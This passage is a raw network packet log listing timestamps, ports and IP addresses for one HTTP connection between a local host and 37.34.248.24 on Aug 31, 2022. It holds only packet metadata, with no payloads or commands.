Aug 31, 2022 14:28:21.202320099 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202337027 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202342987 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202367067 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202390909 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202397108 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202415943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202440023 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202442884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202461958 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202485085 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202487946 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202506065 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202528954 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202545881 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202552080 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202568054 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202574968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202598095 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202617884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202619076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202641010 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202653885 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202662945 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202683926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202707052 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202711105 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202747107 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202979088 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.203171968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.203198910 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.203222036 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.203244925 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.203263044 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.204257965 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.204288960 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.204314947 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.204339981 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.204365969 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.204395056 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.205286026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.205315113 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.205339909 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.205363035 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.205385923 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.205410004 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.206377029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.206398964 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.206413984 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.206430912 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.206459045 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.206486940 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.207135916 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.207161903 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.207184076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.207221985 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.208053112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.208081961 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.208125114 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.209351063 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.209384918 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.209445953 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.209501982 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.209552050 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.210222960 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.210252047 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.210273027 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.210294962 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.210324049 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.210362911 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.211095095 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.211124897 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.211148024 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.211170912 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.211184978 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.211214066 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.212259054 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.212289095 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.212371111 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.213063955 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.213093042 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.213115931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.213138103 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.213154078 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.213205099 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.214164972 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.214271069 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.214294910 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.214313984 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.214332104 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.214420080 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.215215921 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.215245008 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.215303898 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.216089964 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.216115952 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.216192007 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.217364073 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.217396975 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.217420101 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.217443943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.217493057 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.217519045 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.218276024 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.218302965 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.218327999 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.218364954 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.218393087 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.219089031 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.219118118 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.219197989 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.219321966 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.220160007 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.220189095 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.220208883 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.220232010 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.220246077 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.220266104 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.220987082 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.221014977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.221055984 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.221167088 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.221224070 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.222058058 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.222088099 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.222110987 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.222158909 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.222475052 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.222498894 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.222542048 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.223068953 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.223093987 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.223140955 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.224093914 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.224126101 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.224148989 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.224169970 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.224184036 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.224206924 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.225080967 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.225106955 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.225130081 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.225155115 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.225167990 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.225197077 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.226018906 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.226042032 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.226058006 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.226073980 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.226114988 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.226139069 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.227010965 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.227039099 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.227056026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.227072954 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.227101088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.227122068 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.228238106 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.228260040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.228279114 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.228297949 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.228346109 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.229180098 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.229239941 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.229265928 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.229383945 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.230292082 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.230319977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.230340958 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.230360985 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.230384111 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.230407000 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.231177092 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.231218100 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.231246948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.231280088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.231302023 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.232287884 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.232321024 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.232348919 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.232378960 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.232402086 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.232430935 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.233213902 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.233246088 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.233274937 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.233302116 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.233318090 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.233455896 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.312325954 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.314769983 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.320524931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.320554018 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.320570946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.320594072 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.320698977 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.320775986 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.321253061 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.321367979 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.321381092 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.321388006 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.321400881 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.321527004 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.322073936 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.322169065 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.322190046 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.322205067 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.322222948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.322263956 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.322318077 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.322771072 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.323299885 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.323329926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.323373079 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.323425055 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.323503017 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.323890924 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.324016094 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.324069977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.324117899 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.324157953 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.324165106 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.324232101 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.325212955 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.325264931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.325305939 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.325347900 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.325360060 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.325413942 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.326169968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.326234102 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.326293945 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.326330900 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.326344013 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.326477051 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.327158928 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.327203989 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.327263117 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.327311039 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.328303099 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.328365088 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.328422070 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.328424931 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.328468084 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.328485966 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.329210997 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.329257011 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.329313040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.329323053 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.329360008 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.329370975 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.329977989 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.330020905 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.330060959 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.330080986 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.330099106 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.330110073 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.331120968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.331170082 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.331208944 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.331217051 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.331260920 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.332295895 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.332341909 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.332425117 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.334507942 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.334552050 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.334629059 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.334932089 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.334989071 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.335074902 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.336163998 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.336225033 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.336288929 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.337249994 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.337291956 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.337373972 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.338238001 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.338279009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.338341951 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.339179993 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.340367079 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.340410948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.340478897 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.340940952 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.341008902 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.341027975 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.342295885 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.342355967 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.342375040 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.343277931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.343338013 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.343379974 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.344170094 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.344217062 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.344248056 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.345088959 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.345141888 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.345175982 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.345940113 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.345983028 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.346005917 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.347095013 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.347172976 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.347192049 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.348124027 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.348215103 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.349270105 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.349330902 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.349387884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.350119114 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.350173950 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.350228071 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.351244926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.351288080 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.351330996 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.351994991 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.352051973 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.352108955 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.353219986 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.353260994 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.353344917 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.354161024 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.354202986 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.354243040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.354269981 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.355027914 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.355077982 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.355228901 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.355279922 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.355319977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.355319977 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.356127977 CEST	80	49721	37.34.248.24	192.168.2.4
